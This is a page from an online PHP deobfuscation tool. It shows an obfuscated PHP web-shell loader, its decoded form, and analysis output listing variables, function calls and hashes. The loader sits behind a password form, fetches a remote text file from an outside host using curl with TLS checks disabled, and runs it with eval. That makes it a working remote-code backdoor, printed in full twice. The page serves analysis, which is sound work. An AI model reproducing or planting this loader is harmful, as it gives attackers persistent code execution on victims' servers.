Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47L\x4fB\x41L\x53"}["\x73j\x67iuk\x6f"]="\x61";${"\x47LO\x42\x41L\x53"}["d\x71\..

Decoded Output download

<?php ${"GLOBALS"}["sjgiuko"]="a";${"GLOBALS"}["dqzgvkytbuu"]="hashed_password";${"GLOBALS"}["mmixmpdtdu"]="handle";${"GLOBALS"}["lxswkv"]="url_get_contents_data";${"GLOBALS"}["lxrmvjdlp"]="conn";${"GLOBALS"}["efvlage"]="url";session_start();function geturlsinfo($url){${"GLOBALS"}["xuqihbeivqyp"]="url_get_contents_data";if(function_exists("curl_exec")){$pxoqvobc="conn";${"GLOBALS"}["mkpjuy"]="conn";${$pxoqvobc}=curl_init(${${"GLOBALS"}["efvlage"]});${"GLOBALS"}["hxyhqvgzmkj"]="conn";$cjgrllexhh="conn";curl_setopt(${${"GLOBALS"}["lxrmvjdlp"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["mkpjuy"]},CURLOPT_FOLLOWLOCATION,1);curl_setopt(${${"GLOBALS"}["lxrmvjdlp"]},CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");$xuihuku="conn";curl_setopt(${$cjgrllexhh},CURLOPT_SSL_VERIFYPEER,0);curl_setopt(${$xuihuku},CURLOPT_SSL_VERIFYHOST,0);if(isset($_SESSION["coki"])){${"GLOBALS"}["prihkvgn"]="conn";curl_setopt(${${"GLOBALS"}["prihkvgn"]},CURLOPT_COOKIE,$_SESSION["coki"]);}${${"GLOBALS"}["lxswkv"]}=curl_exec(${${"GLOBALS"}["hxyhqvgzmkj"]});curl_close(${${"GLOBALS"}["lxrmvjdlp"]});}elseif(function_exists("file_get_contents")){$sealyfw="url";${${"GLOBALS"}["lxswkv"]}=file_get_contents(${$sealyfw});}elseif(function_exists("fopen")&&function_exists("stream_get_contents")){${"GLOBALS"}["vysvegeodj"]="url";${"GLOBALS"}["brbvvetrovov"]="handle";${${"GLOBALS"}["mmixmpdtdu"]}=fopen(${${"GLOBALS"}["vysvegeodj"]},"r");${"GLOBALS"}["wkugyhytrh"]="handle";${${"GLOBALS"}["lxswkv"]}=stream_get_contents(${${"GLOBALS"}["brbvvetrovov"]});fclose(${${"GLOBALS"}["wkugyhytrh"]});}else{${${"GLOBALS"}["lxswkv"]}=false;}return${${"GLOBALS"}["xuqihbeivqyp"]};}function is_logged_in(){return isset($_SESSION["logged_in"])&&$_SESSION["logged_in"]===true;}if(isset($_POST["password"])){${"GLOBALS"}["aurgiyfst"]="entered_password";$htfdjpxn="entered_password";${${"GLOBALS"}["aurgiyfst"]}=$_POST["password"];$obaggonh="hashed_password";${$obaggonh}="c7527d45dfb8c781cc65ddd6f71ca535";if(md5(${$htfdjpxn})===${${"GLOBALS"}["dqzgvkytbuu"]}){$_SESSION["logged_in"]=true;$_SESSION["coki"]="asu";}else{echo"Incorrect password. Please try again.";}}if(is_logged_in()){${"GLOBALS"}["lkixwcng"]="a";${${"GLOBALS"}["lkixwcng"]}=geturlsinfo("https://www.storekaro.com/admin/images/loliku.txt");eval("?>".${${"GLOBALS"}["sjgiuko"]});}else{echo "    <!DOCTYPE html>
    <html>
    <head>
        <title>L</title>
    </head>
    <body>
        <form method=\"POST\" action=\"">
            <label for="password\">P:</label>
            <input type=\"password" id=\"password\" name=\"password">
            <input type="submit\" value=\"L">
        </form>
    </body>
    </html>
    ";} ?>

Did this file decode correctly?

Original Code

<?php ${"\x47L\x4fB\x41L\x53"}["\x73j\x67iuk\x6f"]="\x61";${"\x47LO\x42\x41L\x53"}["d\x71\x7a\x67vk\x79\x74\x62\x75\x75"]="\x68\x61she\x64_p\x61\x73\x73\x77ord";${"G\x4cO\x42\x41\x4c\x53"}["\x6d\x6dixm\x70d\x74\x64u"]="hand\x6ce";${"\x47L\x4fB\x41\x4cS"}["\x6c\x78\x73\x77\x6b\x76"]="\x75\x72\x6c\x5f\x67et\x5f\x63\x6fnten\x74\x73\x5fd\x61\x74\x61";${"\x47\x4cO\x42\x41L\x53"}["\x6cx\x72mv\x6a\x64lp"]="co\x6en";${"\x47\x4c\x4f\x42A\x4cS"}["\x65f\x76\x6c\x61\x67e"]="\x75rl";session_start();function geturlsinfo($url){${"G\x4cO\x42\x41\x4c\x53"}["xu\x71ihbe\x69\x76\x71\x79\x70"]="\x75rl\x5fg\x65\x74_\x63on\x74\x65\x6et\x73_\x64\x61ta";if(function_exists("cur\x6c\x5f\x65\x78e\x63")){$pxoqvobc="\x63o\x6en";${"\x47LOBAL\x53"}["mk\x70\x6a\x75\x79"]="c\x6f\x6e\x6e";${$pxoqvobc}=curl_init(${${"\x47\x4cOB\x41\x4cS"}["\x65\x66v\x6ca\x67e"]});${"G\x4cO\x42\x41\x4c\x53"}["\x68\x78\x79h\x71\x76g\x7a\x6d\x6b\x6a"]="\x63\x6f\x6e\x6e";$cjgrllexhh="\x63\x6f\x6e\x6e";curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x78rm\x76\x6a\x64l\x70"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"\x47L\x4f\x42\x41LS"}["\x6d\x6b\x70juy"]},CURLOPT_FOLLOWLOCATION,1);curl_setopt(${${"\x47\x4c\x4fBALS"}["\x6c\x78r\x6dv\x6a\x64lp"]},CURLOPT_USERAGENT,"\x4d\x6f\x7aill\x61/5\x2e\x30 (\x57i\x6e\x64\x6f\x77s \x4eT 6\x2e\x31\x3b \x72v:\x33\x32\x2e\x30)\x20\x47\x65\x63ko/\x32\x30\x31\x30\x3010\x31 Fi\x72efo\x78/\x332\x2e0");$xuihuku="con\x6e";curl_setopt(${$cjgrllexhh},CURLOPT_SSL_VERIFYPEER,0);curl_setopt(${$xuihuku},CURLOPT_SSL_VERIFYHOST,0);if(isset($_SESSION["\x63o\x6bi"])){${"\x47L\x4fBA\x4cS"}["\x70\x72\x69h\x6bv\x67n"]="\x63\x6fn\x6e";curl_setopt(${${"\x47L\x4f\x42\x41\x4cS"}["\x70\x72i\x68\x6bv\x67n"]},CURLOPT_COOKIE,$_SESSION["\x63\x6fk\x69"]);}${${"\x47L\x4fBA\x4cS"}["l\x78\x73\x77\x6bv"]}=curl_exec(${${"G\x4c\x4f\x42\x41L\x53"}["hxyh\x71\x76\x67\x7am\x6bj"]});curl_close(${${"G\x4cOB\x41L\x53"}["l\x78\x72m\x76\x6ad\x6c\x70"]});}elseif(function_exists("\x66il\x65_g\x65t\x5fc\x6fnten\x74s")){$sealyfw="ur\x6c";${${"\x47LO\x42\x41\x4c\x53"}["\x6cx\x73\x77\x6bv"]}=file_get_contents(${$sealyfw});}elseif(function_exists("fop\x65\x6e")&&function_exists("st\x72eam\x5fge\x74_con\x74ents")){${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x79\x73\x76\x65g\x65\x6f\x64j"]="u\x72l";${"GL\x4fB\x41\x4c\x53"}["\x62\x72\x62\x76\x76\x65tr\x6f\x76\x6f\x76"]="\x68\x61\x6ed\x6c\x65";${${"\x47L\x4fBA\x4c\x53"}["\x6d\x6d\x69xmp\x64\x74\x64u"]}=fopen(${${"\x47L\x4f\x42\x41\x4cS"}["\x76y\x73\x76e\x67\x65od\x6a"]},"r");${"\x47LO\x42ALS"}["wku\x67\x79\x68yt\x72\x68"]="\x68an\x64l\x65";${${"\x47\x4cO\x42\x41LS"}["lx\x73\x77k\x76"]}=stream_get_contents(${${"\x47L\x4fB\x41\x4cS"}["\x62\x72\x62v\x76\x65\x74\x72\x6f\x76\x6f\x76"]});fclose(${${"G\x4c\x4f\x42A\x4cS"}["\x77\x6b\x75g\x79h\x79\x74\x72\x68"]});}else{${${"GL\x4f\x42\x41\x4cS"}["\x6c\x78\x73\x77\x6b\x76"]}=false;}return${${"G\x4c\x4f\x42\x41\x4c\x53"}["x\x75q\x69\x68\x62\x65\x69\x76q\x79p"]};}function is_logged_in(){return isset($_SESSION["lo\x67ge\x64_\x69\x6e"])&&$_SESSION["lo\x67g\x65\x64\x5fin"]===true;}if(isset($_POST["\x70as\x73\x77ord"])){${"G\x4c\x4fBAL\x53"}["\x61u\x72g\x69yf\x73\x74"]="e\x6e\x74\x65\x72\x65\x64_\x70\x61\x73\x73wo\x72\x64";$htfdjpxn="e\x6e\x74\x65\x72e\x64\x5f\x70\x61s\x73\x77\x6fr\x64";${${"GL\x4f\x42\x41LS"}["a\x75\x72g\x69\x79\x66s\x74"]}=$_POST["\x70\x61\x73swor\x64"];$obaggonh="\x68\x61\x73\x68\x65\x64_\x70\x61s\x73w\x6f\x72\x64";${$obaggonh}="\x6375\x327d4\x35\x64\x66\x628c7\x38\x31\x63c\x36\x35dd\x646\x667\x31ca\x353\x35";if(md5(${$htfdjpxn})===${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64qz\x67v\x6b\x79\x74\x62\x75u"]}){$_SESSION["\x6c\x6fgg\x65\x64_\x69\x6e"]=true;$_SESSION["\x63\x6f\x6bi"]="\x61s\x75";}else{echo"Incorrec\x74\x20\x70as\x73w\x6fr\x64. P\x6c\x65\x61s\x65\x20tr\x79 ag\x61\x69\x6e\x2e";}}if(is_logged_in()){${"\x47\x4c\x4fBA\x4c\x53"}["\x6c\x6b\x69\x78\x77\x63\x6e\x67"]="\x61";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6c\x6bi\x78wcn\x67"]}=geturlsinfo("h\x74\x74\x70s://\x77ww\x2es\x74\x6f\x72e\x6b\x61\x72o.com/\x61dmin/\x69m\x61\x67e\x73/\x6co\x6c\x69\x6bu\x2e\x74xt");eval("?\x3e".${${"\x47L\x4f\x42ALS"}["s\x6ag\x69u\x6bo"]});}else{echo "\x20\x20\x20\x20\x3c\x21\x44\x4fC\x54\x59\x50\x45\x20\x68t\x6d\x6c\x3e\n  \x20 \x3c\x68\x74\x6d\x6c>\n\x20  \x20\x3ch\x65a\x64>\n\x20\x20\x20\x20\x20  \x20<t\x69\x74\x6ce\x3e\x4c</title\x3e\n \x20  </h\x65a\x64\x3e\n\x20\x20\x20\x20<\x62\x6f\x64\x79\x3e\n  \x20\x20\x20  \x20<\x66\x6f\x72\x6d\x20me\x74ho\x64=\"\x50O\x53T\" \x61ct\x69on\x3d\"\x22\x3e\n \x20\x20\x20\x20  \x20\x20 \x20\x20\x3c\x6cabe\x6c\x20f\x6fr=\x22p\x61ss\x77o\x72\x64\"\x3e\x50:</\x6cab\x65\x6c>\n \x20  \x20\x20 \x20 \x20  <in\x70u\x74 t\x79pe=\"pa\x73\x73\x77\x6fr\x64\x22 i\x64\x3d\"pas\x73\x77o\x72d\" nam\x65=\"pa\x73\x73wo\x72d\x22\x3e\n\x20    \x20\x20\x20\x20  \x20<\x69n\x70\x75t\x20\x74y\x70\x65\x3d\x22\x73ubmi\x74\"\x20v\x61\x6cu\x65=\"L\x22\x3e\n  \x20\x20\x20 \x20\x20</\x66o\x72m\x3e\n\x20\x20 \x20</\x62od\x79>\n\x20\x20\x20\x20</\x68\x74ml>\n\x20   ";}

Function Calls

md5 1
geturlsinfo 1
is_logged_in 1
session_start 1
function_exists 1

Variables

a False
$url https://www.storekaro.com/admin/images/loliku.txt
GLOBALS [{'key': 'sjgiuko', 'value': 'a'}, {'key': 'dqzgvkytbuu', 'value': 'hashed_password'}, {'key': 'mmixmpdtdu', 'value': 'handle'}, {'key': 'lxswkv', 'value': 'url_get_contents_data'}, {'key': 'lxrmvjdlp', 'value': 'conn'}, {'key': 'efvlage', 'value': 'url'}, {'key': 'aurgiyfst', 'value': 'entered_password'}, {'key': 'lkixwcng', 'value': 'a'}, {'key': 'xuqihbeivqyp', 'value': 'url_get_contents_data'}]
$_SESSION [{'key': 'logged_in', 'value': True}, {'key': 'coki', 'value': 'asu'}]
$htfdjpxn entered_password
$obaggonh hashed_password
hashed_password c7527d45dfb8c781cc65ddd6f71ca535
entered_password None
url_get_contents_data False

Stats

MD5 f5ffc3f871b84a8b8fcf08802e594ab1
Eval Count 1
Decode Time 85 ms